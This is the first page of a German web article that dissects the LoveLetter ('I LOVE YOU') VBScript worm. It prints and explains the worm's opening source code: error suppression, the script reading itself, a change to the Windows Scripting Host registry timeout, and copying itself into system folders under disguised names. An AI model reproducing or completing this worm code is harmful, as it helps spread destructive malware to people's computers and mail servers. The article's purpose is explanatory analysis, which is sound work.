Webhosting, Domains und VServer von Host Europe
Bild

Auseinandergenommen: LoveLetter Virus

Viren programmieren

Er geht auf der ganzen Welt um: Der 'I-LOVE-YOU' Virus legt Mailserver lahm und übt sich auch sonst in lauter unangenehmen Dingen. Wie aber funktionert das Ding? - Eine Frage die nicht nur für Programmierer interessant ist: Daher haben wir den Virus in seine Teile zerlegt - was er genau tut, steht Schritt für Schritt im Bericht. Von Thomas Wölfer.
(tw)
Inhalt dieses Beitrags:


LoveLetter - so funktionert er
Im folgenden ist der Quellcode der Virus abgebildet - keine Angst dabei: In der abgebildeten Form ist das Ding völlig harmlos; wir zeigen einfach nur Zeile für Zeile, was der Virus tut, und welche Befehlszeilen wofür verantwortlich sind. Ausgeführt wird das ganze übrigens mit dem Windows Scripting Host - Grundlagenbeitrag hier.

Und los gehts: rem barok -loveletter(vbe) <i hate go to school> rem
by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines Die ersten beiden Zeilen sind einfach nur Kommentare - passieren tut hier gar nichts: Es handelt sich dabei einfach um irgendeinen Text den der Programmierer eingefügt hat - dem ist keine Bedeutung beizumessen.
On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Mit 'On Error Resume Next' wird zunächst eine Fehlerbehandlung eingeleitet: Tritt während der Abarbeitung des Programmes ein Fehler auf, soll mit dem nächsten Schritt weitergemacht werden. Danach werden ein paar Variable definiert - mit diesen Variable wird später im Programm gearbeitet.
Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll Dann legt das Programm ein sogenanntes 'FileSystemObject' (fso) an - mit diesem Objekt kann auf das Dateisystem (d.h.: auf die Dateien auf der Festplatte) zugegriffen werden. Genau das passiert dann auch in der nächsten Zeile: Das Programm liest sich selbst in den Speicher (Mit OpenTextFile und dem anschliessenden ReadAll()).
main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub Hier geht das Programm dann tatsächlich los: Zunächst wird mit CreateObject() ein 'Shell' Objekt erzeugt - dieses Objekt ermöglicht den Zugriff auf verschiedene Funktione von Windows - zum Beispiel kann man damit die Registry auslesen und in sie schreiben - was dann später auch passiert.

Mit den 'Set' Befehlen erfragt das Programm dann die Verzeichnisse von Windows (dirwin) und von Windows/System (dirsystem), um anschliessend eine Kopie von sich Selbst unter dem Namen MSKernel32.vbs und Win32DLL.vbs bzw. LOVE-LETTER-FOR-YOU.TXT.vbs anzulegen. Mit anderen Worten: Diese Dateien enthalten dann ebenfall einzig und allein das Virus-Programm.

Nachdem sich der Virus auf diese Weise kopiert hat, legt er mit seiner eigentlichen Arbeit los - und ruft die Funktionen regruns(), html(), spreadtoemail() und listadriv() auf: Diese Funktionen sind weiter unten im Programm definiert - was sie tun, ist ebenfalls weiter unten erklärt.


Seiten: 1  2  3  


Diskussion zum Beitrag

Mehr zum Thema: